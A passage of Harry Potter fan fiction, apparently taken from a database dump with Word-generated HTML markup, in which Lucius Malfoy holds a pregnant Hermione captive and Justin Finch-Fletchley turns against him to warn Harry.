&#8220;That sounds rather royal, doesn&#8217;t it?&#8221; Harry asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, considering the kid&#8217;s father is a royal pain the arse, what do you expect?&#8221; Ron said. &#8220;You know, I still can&#8217;t believe that Malfoy, of all people, is my brother-in-law. If you would have told me that would happen 10 years ago, I&#8217;d have laughed in your face. Who would have thought he&#8217;d turned out to not be so bad.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, without his dad&#8217;s influence,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wonder whatever became of old Lucius,&#8221; Ron wondered aloud. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shook his head. &#8220;Don&#8217;t know. Last I heard he was hiding out in some South American country. For all we know, he could be dead by now. He hasn&#8217;t been seen or heard from in ages. That&#8217;s not that surprising how bad he was hurt in Voldemort&#8217;s downfall.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The wheels began to turn in Harry&#8217;s head.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron,&#8221; Harry said. &#8220;You&#8217;re a genius!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I am?&#8221; Ron asked. &#8220;What did I do?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Lucius Malfoy,&#8221; Harry said. &#8220;I can&#8217;t believe we didn&#8217;t think of it before. He could be behind this.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you really think so?&#8221; Ron asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s quite possible,&#8221; Harry said, getting to his feet. &#8220;I think we need to jump on this as soon as possible. Check out what old Lucius has been up to these past few years.&#8221; &nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione came out of the bathroom still feeling nauseous. She didn&#8217;t know if she&#8217;d ever felt this sick before in her life. She&#8217;d spent the better part of the morning hugging the u-bend, throwing up everything she felt she&#8217;d eaten in her entire life. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This had been quite strange in that she had barely touched her food the past couple of days. She&#8217;d felt sick to her stomach and had spent the past two days curled up on the bed, resting. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She noticed that her breakfast had arrived while she&#8217;d been in the bathroom. This morning, the silver tray was laden with bacon, eggs, toast and a pitcher of orange juice. &nbsp;This morning, it was laden with eggs, bacon, toast and a flask of orange juice. She turned her nose up at the food and lay back down on the bed. Just the thought of food made her sick to her stomach. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is wrong with me?&#8221; she whispered. She thought for a moment that maybe her captor was poisoning her food, but thought better of that. He needed her alive, as he told her all the time. She was more valuable to him alive than dead. She didn&#8217;t know how long that would last, but it was something. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She was beginning to hate this room. She knew now what people meant when they said they had &#8220;cabin fever&#8221;. She wanted so badly to be able to walk outside and take in the fresh air. She wanted to walk in <st1:place>Hyde Park</st1:place> and have a picnic lunch. She longed to walking on one of those Hawaiian beaches and to stare out at that crystal blue water. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She couldn&#8217;t believe that she&#8217;d been gone for nearly a month now. She&#8217;d marked off the days in the journal her captor had allowed her to keep. She still felt it was quite odd that he&#8217;d allowed her to do that. She didn&#8217;t understand the reasoning behind it, but she&#8217;d relished the privilege to write her thoughts out. It was almost like having someone to talk to. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When she felt better, she arose from the bed and walked over to the table. She pushed the tray of now cold food away from her and poured herself a glass of orange juice. She prayed that it would stay down. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Seeing her journal, she picked it up and opened it. She dipped her quill in the ink bottle and began to write. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Day 42,&#8221; she scribbled neatly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked down at the page as a realization came to her suddenly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She&#8217;d missed her period. Ever since she&#8217;d started having them at the age of 12, they&#8217;d always come like clockwork. She&#8217;d never missed one. Never. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t be,&#8221; she whispered softly. &#8220;It&#8217;s probably just stress.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But she&#8217;d faced even more stressful situations before in her life and they still came like clockwork. A wave of emotions came over her as she sat in that chair, staring absently at the open journal below her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I could be,&#8221; she said aloud. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; In <st1:state><st1:place>Hawaii</st1:place></st1:state>, she and Harry hadn&#8217;t used protection. They hadn&#8217;t even thought about it. They&#8217;d been too wrapped up in each other and their surroundings to give anything but themselves a second thought. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She shakily stood up and walked into the bathroom. There was a long vanity mirror just behind the door. She lifted up her nightgown and looked into the mirror at her stomach. There could be a baby in there, she mused. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;A baby,&#8221; she whispered, a smile playing at her lips. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Although she had no way of knowing for sure, she felt in her heart that it was true. She and Harry were going to have a baby. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Correction,&#8221; she told herself. &#8220;We&#8217;ll have a baby if we can get out of this mess. You just hang on, little one.&#8221; She patted her stomach. &#8220;Hold on, little one. Your daddy&#8217;s going to find us and bring us home. I know he will.&#8221; </p>\n\n<p>************************<br>\n\n<br>\n\n</p>\n\n<p>Later that morning, Harry and Ron had arranged to meet Sirius at The Leaky Cauldron. They found an empty table near the back of the pub and settled in to discuss their thoughts. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;Malfoy,&#8221; Sirius said, after he listened to Harry and Ron&#8217;s story. &#8220;That&#8217;s quite possible. He did put blame on you, Harry, after he lost his wife, his son, his fortune. I can&#8217;t believe we didn&#8217;t think of it before.&#8221; </p>\n\n<p>&#8220;But where is he?&#8221; Ron asked. &#8220;Harry said no one&#8217;s heard or seen from him in ages.&#8221; </p>\n\n<p>&#8220;That&#8217;s true,&#8221; Sirius said. &#8220;Last I heard he was in <st1:place>South America</st1:place> somewhere.&#8221; </p>\n\n<p>&#8220;Well, that narrows it down somewhat,&#8221; Ron said, sarcastically. </p>\n\n<p>&#8220;I&#8217;ll get some men on it,&#8221; Sirius said. &#8220;We&#8217;ll find out where he is.&#8221; </p>\n\n<p>&#8220;You won&#8217;t need to do that,&#8221; a gruff voice said. </p>\n\n<p>The three men looked up to see Lupin looking down at them. He was carrying an envelope. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This arrived by owl post this morning,&#8221; Lupin said. &#8220;It said it was only to be opened by you. We&#8217;ve traced it to a house somewhere in <st1:place>Surrey</st1:place>.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He handed the brown envelope to Harry. Harry took it eagerly and opened it immediately. </p>\n\n<p><i>Potter: <br>\n\n\n<br>\n I have the two most important people in your life in my possession. Funny how fate has played this hand out, isn&#8217;t it? I imagine you&#8217;ve finally figured out that it was me along, but as you aren&#8217;t smart enough to find me on your own, I figure I should help you out. You are to come alone to </i><st1:street><st1:address><i>324 West Trenton Street</i></st1:address></st1:street><i> tonight at </i><st1:time minute="0" hour="23"><i>11 p.m.</i></st1:time><i> If you attempt to bring anyone else with you, I will not hesitate to kill both of them. Act wisely, Potter, or you could lose it all. They&#8217;re waiting for you!&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</i></p>\n\n<p><i>Lucius</i><i> Malfoy</i></p>\n\n<p><i></i></p>\n\n<p>&#8220;Both of them?&#8221; Harry asked. &#8220;What is he playing at? Who else does he have besides Hermione?&#8221; </p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Sirius said, after he too, had read the letter. &#8220;We&#8217;d better head back to headquarters and come up with a strategy. You can&#8217;t go in there without some sort of plan. I&#8217;ll go and pay the tab and then we&#8217;ll get out of here.&#8221; </p>\n\n<p>As they waited, Harry looked back at the parchment. &#8220;I have the two most important people in your life in my possession,&#8221; he read aloud. </p>\n\n<p>What kind of sick game was Malfoy playing at? </p> '),
	(255, 24, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="Chap24_files/filelist.xml">\n\n<title>\n\n</title>\n\n<xml> Normal 2 144 2003-06-29T02:00:00Z 2003-07-05T23:29:00Z 2003-07-05T23:29:00Z 1 2544 14506 120 34 17016 10.2625 </xml><xml> Clean Clean MicrosoftInternetExplorer4 </xml><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object>\n\n<style> st1\\:*{behavior:url(#ieooui) } </style>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} table.MsoTableGrid {mso-style-name:"Table Grid"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; border:solid windowtext 1.0pt; mso-border-alt:solid windowtext .5pt; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-border-insideh:.5pt solid windowtext; mso-border-insidev:.5pt solid windowtext; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n<xml>\n\n</xml><xml>\n\n</xml>\n\n\n\n<p><b>Chapter 24 </b></p>\n\n<p><b>Hero </b></p>\n\n<p>Author&#8217;s Note: <br>\n Hi you guys! Thanks again for the great reviews! You guys keep me going and inspire me to write more! I hope you like this next chapter. I included a flashback scene from book five, <i>The Order of the Phoenix</i>. I finally finished!!!! Yay me! </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lucius Malfoy was very happy, indeed, ecstatic. His plan was all coming together. The Mudblood&#8217;s unexpected pregnancy had been like icing on the cake. Not only did he have the love of Potter&#8217;s miserable life in his possession, he also had his unborn child. Yes, fate was definitely smiling down on him. He quickly reminded himself not to lose sight of the task at hand. He had come too far to lose sight of the task at hand. It was all within his grasp. He couldn&#8217;t let arrogance and cockiness cloud his judgment. Potter had always been a formidable opponent. This time, however, Malfoy felt he held the winning hand. He was in control. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He&#8217;d planned this for a long time. He&#8217;d spent his years in Azkaban plotting the revenge. It had been the one thing that had helped him get through his sentence in that awful place. Now, after years of planning and strategizing, it was all coming to fruition. Tonight, he would have the satisfaction of watching as Potter saw his beloved die and then, he&#8217;d take Potter&#8217;s life as well. Just as Potter had taken everything away from him---his fortune, his family, his prestige, his power----Malfoy would do the same to him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As he stood in his bed chamber preparing for the night&#8217;s events, he took a look at the small television set that he&#8217;d installed in the room. On the television, he could watch that horrible Mudblood&#8217;s every move. He&#8217;d watched as she&#8217;d spent the past few days with morning sickness. He&#8217;d laughed as he&#8217;d watched her pace around the room and contemplate what was happening to her. He&#8217;d heard her whisper her suspicions that she was now with child. It was all too perfect. She had no idea that he could see her every movement and hear her every word. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As much as Malfoy hated Muggles, he had to hand it to them---this electronic equipment of theirs had come in quite useful, indeed.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Malfoy smiled wryly as he watched her sleeping yet again. She had no idea that tonight was the last night she&#8217;d ever see on this earth. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There was a knock at the door. Malfoy took one last look at the screen before turning toward the door and saying loudly, &#8220;Come in!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Finch-Fletchley!&#8221; Malfoy said. &#8220;My good man! How wonderful to see you again!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re in a good mood, my lord,&#8221; Justin said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, of course, I am,&#8221; Malfoy said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Justin just stood there watching Malfoy. He&#8217;d learned the hard way not to speak to Malfoy unless spoken to. That was what a good student did. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Can you report that Potter received my owl post?&#8221; Malfoy said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, sir,&#8221; Justin said. &#8220;He was at The Leaky Cauldron with Black and Weasley.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course, he was too stupid to catch on to the &#8216;two most important people&#8217; line, right?&#8221; Malfoy said. &#8220;Never mind that. He&#8217;ll know soon enough.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;ve done quite well, Finch-Fletchley. That&#8217;s high praise, too. Considering you were a Mud-, I mean Muggle-born wizard,&#8221; Malfoy said, appraisingly. &#8220;You&#8217;ve been quite useful. Your job in The Ministry helped out more than you&#8217;ll ever know. It had been against my better judgment to take on someone like you as a student, but you&#8217;ve done well. There will be a reward for this. You can count on it.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Justin managed only a slight smile as he looked at Malfoy. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, how can you be sure that he&#8217;ll come alone?&#8221; Justin finally asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t be,&#8221; Malfoy said. &#8220;But I think I know him well enough to know that he&#8217;s not one to want to share in the glory. That hero complex of his will kick in and he&#8217;ll not want to share the glory with anyone else.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Malfoy continued, &#8220;You see, Finch-Fletchley, revenge is something that has to be planned. I&#8217;ve always told you and I&#8217;ve always believed that revenge is a dish better served cold. You have to know your opponent like the back of your hand. You must know his strengths and his weaknesses. You have to recognize those weaknesses and use them to your advantage.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Justin swallowed hard. &#8220;Yes, my lord.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now get out of here,&#8221; Malfoy said. &#8220;I still have much more planning to do. If I need you anymore, I&#8217;ll let you know.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Justin nodded solemnly and walked out of the room. He didn&#8217;t take an easy breath until he had left the confines of the mansion. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As the days had gone by, he&#8217;d watched as Malfoy had become more and more cold-blooded and vindictive. He knew how he&#8217;d been na&#239;ve to what it actually took to obtain this power and control that Malfoy had lost and now sought to regain at any cost. &nbsp;&nbsp; </p>\n\n<p>The past few days, weeks, and months had been extremely hard on Justin. His conscience had been eating at him and he&#8217;d been wrestling with what he should do. When he&#8217;d signed on to learn from Malfoy, he&#8217;d had dreams of wealth and power. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The truth was that no matter what Potter and Granger had done in the past, they certainly didn&#8217;t deserve to die because of it. They didn&#8217;t have to pay with their lives because of Malfoy&#8217;s sick, vindictive plans. And, now, that there was a child involved, the need to act was much more urgent. If this plan went through accordingly, three innocent people would die. Justin didn&#8217;t think he&#8217;d be able to live with himself if he&#8217;d contributed to that. He&#8217;d hated that he&#8217;d let himself get sucked in as far as he had. He didn&#8217;t like the person he&#8217;d become. He could do something about it, though. He&#8217;d known all along that he could stop this. He knew what he had to do. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He began to run as fast as he could. He didn&#8217;t look back. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius, Lupin, Ron, Harry and a handful of other aurors had gathered at The Burrow to discuss strategy for tonight&#8217;s rescue. They&#8217;d spent the better part of the afternoon devising different scenarios. They&#8217;d decided The Burrow was the safest place as there wouldn&#8217;t be any prying eyes or ears listening in to what they were planning. They&#8217;d all agreed that someone at The Ministry had to be helping Malfoy. They just didn&#8217;t know who. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They&#8217;d been joined just a short while ago by Draco, who&#8217;d been summoned there by Ron. He&#8217;d been surprised, to say the least, to find out his dad was still alive and that he was behind Hermione&#8217;s kidnapping. He&#8217;d apologized profusely to Harry and said he&#8217;d do anything he could to help out. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He doesn&#8217;t mean anything to me, anymore,&#8221; Draco had said coldly. &#8220;He pretty much saw to that when I joined up with you lot against him and those bloody Death Eaters. For years, all I heard him talk about was how it was always someone else&#8217;s fault that his life had turned to shit. It wasn&#8217;t your fault, Harry. It was him. He needn&#8217;t look any further than the nearest mirror to find out whose fault it is.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Although Draco had pledged his support and help, there wasn&#8217;t really much that he could do. He hadn&#8217;t seen or heard from his father in years and had no real insight into what he&#8217;d been planning or what he&#8217;d been doing. Although he&#8217;d wanted to there to help plan, Harry told him to go back and be with his wife and new son. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They need you now more than we do,&#8221; Harry said. &#8220;We&#8217;ll let you know as soon as we hear anything.&#8221; </p>\n\n<p>The past twenty minutes had seen a heated argument erupt between Sirius and Harry over Harry going to meet Malfoy alone. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You are out of your mind if you think I&#8217;m going to allow you to go in there alone,&#8221; Sirius said firmly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not 13 years old anymore, Sirius,&#8221; Harry said. &#8220;I can make up my own mind and make my own decisions. I&#8217;m doing this <i>alone.</i> The letter specifically said for me to go alone. You don&#8217;t know what that sick bastard will do if we go in there like the bleeding <st1:place>Calvary</st1:place>.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Which is precisely why you shouldn&#8217;t go in there alone,&#8221; Sirius said, forcefully. &#8220;I mean it, Harry.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You aren&#8217;t listening to me!&#8221; Harry said angrily. &#8220;<i>I&#8217;m</i> going in alone. That&#8217;s it. End of story. Now, are we going to spend the next couple of hours arguing over this and wasting time or are we going to find out how we can get Hermione back safe and sound?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius shook his head. &#8220;You are going to get yourself killed.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lupin tried to assuage the situation. He stepped in between Sirius and Harry and help out his hands. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Listen, we need to be calm and rational now. Sirius, Harry&#8217;s right. We have to obey Malfoy&#8217;s conditions,&#8221; Lupin said. &#8220;Now, I&#8217;m sure Harry won&#8217;t object to us being outside the house when he goes inside. We can have him give us a signal if he needs backup. Okay?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius looked flabbergasted at his old friend. &#8220;You&#8217;re taking his side, then?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re all on the same side,&#8221; Lupin said, smiling. &#8220;We&#8217;ll be the victorious side, too. Have faith.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Sirius said, grimly. &#8220;But I still think that this isn&#8217;t the best idea.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Duly noted,&#8221; Harry said. &#8220;Now, let&#8217;s get back to&#8212;&#8220;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; His voice trailed off as Molly walked into the living room and interrupted them. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is it, Mum?&#8221; Ron said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Molly smiled nervously. &#8220;There&#8217;s someone here to see Harry.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re kind of preoccupied, Molly,&#8221; Harry said. &#8220;Who is it?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Justin Finch-Fletchley,&#8221; Molly said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s he doing here?&#8221; Ron asked, bemused.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Molly shook her head. &#8220;He said he needed to see Harry straightaway.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was about to say something in response but Justin appeared at Molly&#8217;s side at just that moment. He looked quite apprehensive. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Justin,&#8221; Harry began. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, I&#8217;m sorry to just barge in here like this, but I need to have a word,&#8221; Justin said softly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I really don&#8217;t have the time, Justin,&#8221; Harry said, turning back to face the others. &#8220;We&#8217;re working on something very important.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s about Hermione,&#8221; Justin said softly. 